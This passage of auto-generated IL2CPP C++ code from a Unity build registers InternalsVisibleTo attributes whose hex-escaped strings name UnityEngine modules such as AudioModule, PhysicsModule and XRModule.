InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[13];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x75\x64\x69\x6F\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[14];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x44\x69\x72\x65\x63\x74\x6F\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[15];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6F\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[16];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x78\x74\x52\x65\x6E\x64\x65\x72\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[17];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x72\x72\x61\x69\x6E\x50\x68\x79\x73\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[18];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x72\x72\x61\x69\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[19];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x34\x56\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[20];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x35\x56\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[21];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x35\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[22];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4C\x6F\x63\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[23];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x61\x72\x74\x69\x63\x6C\x65\x53\x79\x73\x74\x65\x6D\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[24];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x68\x79\x73\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[25];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x68\x79\x73\x69\x63\x73\x32\x44\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[26];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x72\x6F\x66\x69\x6C\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[27];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x52\x75\x6E\x74\x69\x6D\x65\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x4F\x6E\x4C\x6F\x61\x64\x4D\x61\x6E\x61\x67\x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[28];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x63\x72\x65\x65\x6E\x43\x61\x70\x74\x75\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[29];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x70\x72\x69\x74\x65\x4D\x61\x73\x6B\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[30];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x70\x72\x69\x74\x65\x53\x68\x61\x70\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[31];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x74\x72\x65\x61\x6D\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[32];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x75\x62\x73\x74\x61\x6E\x63\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[33];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x75\x62\x73\x79\x73\x74\x65\x6D\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[34];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x44\x53\x50\x47\x72\x61\x70\x68\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[35];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x47\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[36];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x47\x72\x69\x64\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[37];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x69\x6C\x65\x6D\x61\x70\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[38];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6D\x62\x72\x61\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[39];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x56\x65\x68\x69\x63\x6C\x65\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[40];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x43\x6F\x6E\x6E\x65\x63\x74\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[41];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x43\x75\x72\x6C\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[42];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x54\x65\x73\x74\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[43];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[44];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x41\x75\x64\x69\x6F\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[45];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x54\x65\x78\x74\x75\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[46];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x56\x46\x58\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[47];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x4D\x47\x55\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[48];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x56\x69\x64\x65\x6F\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[49];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x56\x69\x72\x74\x75\x61\x6C\x54\x65\x78\x74\x75\x72\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[50];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x57\x69\x6E\x64\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[51];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x73\x73\x65\x74\x42\x75\x6E\x64\x6C\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[52];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x6F\x74\x68\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[53];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6E\x70\x75\x74\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[54];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x6F\x75\x64"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[55];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73\x4E\x61\x74\x69\x76\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[56];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x34\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[57];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x4C\x53\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[58];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[59];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x72\x61\x73\x68\x52\x65\x70\x6F\x72\x74\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[60];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x4E\x45\x54\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[61];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x41\x6E\x61\x6C\x79\x74\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[62];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x41\x73\x73\x65\x74\x42\x75\x6E\x64\x6C\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[63];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x57\x57\x57\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[64];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x58\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[65];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[66];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x65\x72\x66\x6F\x72\x6D\x61\x6E\x63\x65\x52\x65\x70\x6F\x72\x74\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[67];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x78\x74\x43\x6F\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[68];
